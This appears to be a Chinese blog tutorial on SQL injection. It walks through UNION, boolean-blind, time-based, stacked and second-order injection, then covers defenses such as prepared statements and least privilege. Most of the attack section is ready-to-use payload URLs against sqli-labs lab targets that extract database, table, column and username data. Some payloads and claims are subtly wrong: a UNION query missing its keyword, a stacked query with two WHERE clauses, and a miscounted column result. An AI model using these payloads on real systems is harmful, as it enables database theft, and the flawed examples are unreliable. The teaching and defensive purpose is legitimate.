赞
踩
注入原理:通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
当输入参数为数字时候可能为数值型,列如:https://123abc.com/tes.php?id=1 我们可以在参数后面加 ’ 判断是否存在注入点,如果加 ‘ 后页面报错则有可能存在注入点 也可以用 and 1=1 页面正常 and 1=2 页面出错来判断是否存在注入点。
当输入参数为字符串时,则可能存在字符型注入漏洞。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型需要单引号闭合,否则sql语句无法正常执行。
例如 https://123abc.com/tes.php?name=abc 注入时候在后面加 ‘ 页面正常 也可以 abc’ and 1=1 --+ 页面返回正常,abc’ and 1=2--+ 页面返回错误,判断是否存在注入。
当查询数据会返回显示界面时可以考虑使用union联合查询的方式
联合查询有两个必要条件:
两张虚拟表具有相同的列数
两张虚拟表对应列的数据类型相同
所以当一个地方可以使用联合查询时基本步骤为:猜测虚拟表列数->获取数据库名->获取表名->获取列名->获取数据
利用 order by 猜解列数 https://123abc.com/tes.php?name=abc’ order by 1 --+ 当输入1返回正常以此递增直到页面出错,若输入4出错,那么该表列数就位2,我们就可以构造sql语句获取数据库信息 abc’ and 1=2 select 1,database(),version() --+ 查询数据库名称和数据库版本。
information_schema:自带数据库 mysql5.0以上版本自带,存储有mysql数据库下所有数据库里面的数据信息,包括数据库名,表名,列名等信息,所以我们根据查询它获取指定数据库下的表名及列名信息。
table_name: 表名
column_name:列名
table_schema:数据库名
information_schema.tables:存储表名信息的表
information_schema.columns:存储列名信息的表
information_schema.schemata:存储数据库名信息的表
mysql中符号“.”代表下一级
如:information_schema.tables:数据库information_schema下的tables表
当查询的结果不会显示在界面,同时不会显示报错信息时,若能从页面反馈中得知SQL语句执行的成功与否可以考虑使用布尔盲注
sqli-labs less-8为例演示布尔注入
判断数据库名长度
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and length(database())>5 --+ 正确
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and length(database())>10 --+ 错误
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and length(database())>7 --+ 正确
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and length(database())>8 --+ 错误
到这里可以知道数据库名长度为8
猜测数据库名字
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ORD(mid(database(),1,1)) > 1 --+ 正确
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ORD(mid(database(),1,1)) > 2 --+ 正确
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ORD(mid(database(),1,1)) > 115 --+ 错误
115对应的字符是s接下来猜测第二个字母:
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ORD(mid(database(),2,1)) > 1 --+ 正确
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ORD(mid(database(),2,1)) > 101 --+ 错误
101对应制度是e,接下来猜测第三个字母:
最后得到数据库名是security。
猜测数据库中第一张表的名字
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1 --+ 正确
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 --+ 错误
第一张表中第一个字母为e
步骤与猜测数据库名相同,最后得到第一张表名为emails。
其余表名分别为refers,uagents,users。
猜测users字段数
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x7573657273 and TABLE_SCHEMA=database()) > 2–+ 正确
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x7573657273 and TABLE_SCHEMA=database()) > 3–+ 错误
所以users表中字段数为3
获取第一个字段长度
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=‘users’ and TABLE_SCHEMA=database() limit 0,1) > 1–+ 正确
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=‘users’ and TABLE_SCHEMA=database() limit 0,1) > 2–+ 错误
所以users表中第一个字段长度为2
猜测第一个字段名字
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1),1,1))>104 --+ 正确
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1),1,1))>105 --+ 错误
第一个字符为105即i
最后可以得到第一个字段为id,第二个字段为username,第三个字段为password。
获取字段值长度
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and (select length(username) from users limit 0,1) > 3 --+ 正确
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and (select length(username) from users limit 0,1) > 4 --+ 错误
第一条记录的username内容长度为4
获取字段值
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ascii(substr((select username from users limit 0,1),1,1))>67 --+ 正确
http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ascii(substr((select username from users limit 0,1),1,1))>68 --+ 错误
第一个字符为68即D
最后得到第一条记录的username为Dumb
布尔盲注是利用页面的反馈来判断SQL语句执行情况,延时注入由于页面没有任何反馈所以需要利用sleep()和if()函数判断SQL语句执行的情况。
sleep()函数指定延时多少秒。
if(条件,Y,F)条件为真时执行Y,当条件为假时执行F。
判断数据库名长度:
http://192.168.254.132/sqli-labs/Less-9/?id=1’and if(length(database())>5,sleep(5),0) --+
若5秒后页面才加载出来,说明数据库名长度大于5
http://192.168.254.132/sqli-labs/Less-9/?id=1’and if(ord(mid(database(),1,1))=115,sleep(5),0) --+
页面5秒后才加载出来,说明数据库名第一个字符为115即s。其余判断方法和布尔盲注类似。
Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆 sql 语句(多条) 一起执行。而在真实的运用中也是这样的,在 mysql 中,主要是命令行中,每一 条语句结尾加 ;表示语句结束。这样我们就想到了多条语句一起使用。
使用条件
堆叠注入的使用条件十分有限,其可能受到 API 或者数据库引擎,又或者权限的限制只有 当调用数据库函数支持执行多条 sql 语句时才能够使用,利用 mysqli_multi_query()函数就支持多条 sql 语句同时执行,但实际情况中,如 PHP 为了防止 sql 注入机制,往往使用调用数据库的函数是 mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所 以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
攻击构造
爆库名:test http://127.0.0.1/web/sql/duidie.php?id=1;select if(substr(database(),1,1)='a',sleep(5),1)
爆表名 http://127.0.0.1/web/sql/duidie.php?id=1;select if(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a',sleep(5),1)
爆字段名 http://127.0.0.1/web/sql/duidie.php?id=1;select if(substr((select column_name from information_schema.columns where table_schema='test' where table_name='user' limit 0,1),1,1)='a',sleep(5),1)
爆值 http://127.0.0.1/web/sql/duidie.php?id=1;select if(substr((select username from test.users limit 0,1),1,1)='a',sleep(5),1)
堆叠注入和 union 的区别在于,union后只能跟 select,而堆叠后面可以使用 insert,update,
create,delete 等常规数据库语句。
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到 SQL 查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义 处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当 Web 程序调 用存储在数据库中的恶意数据并执行 SQL 查询时,就发生了 SQL 二次注入。
两个条件
a:进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原 来的数据。
b:开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没 有进行进一步的检验的处理。
攻击实例
练习地址:http://sqli/Less-24 知道用户 Admin 但是不知道密码
注册一个 admin’#用户
修改 admin’#的密码
Update users set password=’new_pass’where username=’admin’#’and password=’123456’
实际上 Update users set password=’new_pass’where username=’admin’
既然sql注入的危害如此之大,我们应该怎么正确的防御呢?从防御的角度来看,要做的事情有两件:
a 找到所有的sql注入漏洞
b:修补这些漏洞
sql注入的防御并不是一件简单的事情,之前我也上网查资料,大多数采取的办法也是最简单粗暴的办法就是 对用户的输入做一些escape处理,但这是不够的。这种基于黑名单的方法或多或少都存在一些问题。(在sql保留字中,用户提交的正常数据也有可能会使用这些单词,从而对用户的正常数据进行了误杀)—包括我自己之前也觉得过滤这些关键字就好了
那么该如何正确的防御呢?
1、使用预编译语句,绑定变量
使用预编译的sql语句,sql语句的语意不会发生改变。在sql语句中,变量用?表示,攻击者无法改变sql语句的结构。
2、使用存储过程
使用存储过程的效果和使用预编译语句类似,其区别就是存储过程需要先将sql语句定义在数据库中。但需要注意的是,存储过程也可能存在注入问题,因此应该尽量避免在存储过程内使用动态的sql语句。
3、检查数据类型
检查数据的输入类型,在很大程度上可以对抗sql注入。比如用户在输入邮箱时,必须严格按照邮箱的格式;输入时间、日期时,必须严格按照时间、日期的格式等等,都能避免用户数据造成破坏。但数据类型检查并非万能的,如果需求就是需要用户提交字符串,比如一段短文,则需要依赖其他的方法防范sql注入。
4、使用安全函数
一般来说,各种web语言都实现了一些编码函数,可以帮助对抗sql注入。数据库厂商也对安全的编码函数做了“指导”。
最后呢,从数据库自身的角度来说,应该使用最小权限远侧,避免web应用直接使用root、dbowner等高权限账户直接连接数据库。如果有多个不同的应用在使用同一个数据库,则也应该为每个应用分配不同的账户。web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限。 总结一下,注入攻击就是应用违背了“数据与代码分离原则”导致的结果。再次强调两个条件:a:用户能够控制数据的输入;b:代码拼凑了用户输入的数据,把数据当做代码执行了。在对抗注入攻击的时候,要牢记“数据与代码分离原则”,在“拼凑”发生的地方进行安全检查,就能避免此类问题。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。